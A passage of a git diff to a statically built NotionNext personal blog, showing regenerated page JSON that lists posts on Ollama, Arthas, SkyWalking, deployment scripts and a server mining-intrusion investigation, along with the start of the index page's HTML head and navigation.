2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"知行合一"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"知行合一"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"知行合一"},"__N_SSG":true},"page":"/category/[category]","query":{"category":"知行合一"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/index.html b/index.html
index ff8425c78..99b990067 100644
--- a/index.html
+++ b/index.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Both Savage | talk is cheap</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Both Savage | talk is cheap"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Both Savage | talk is cheap"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/index-eb0ce45dfd226ae0.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start 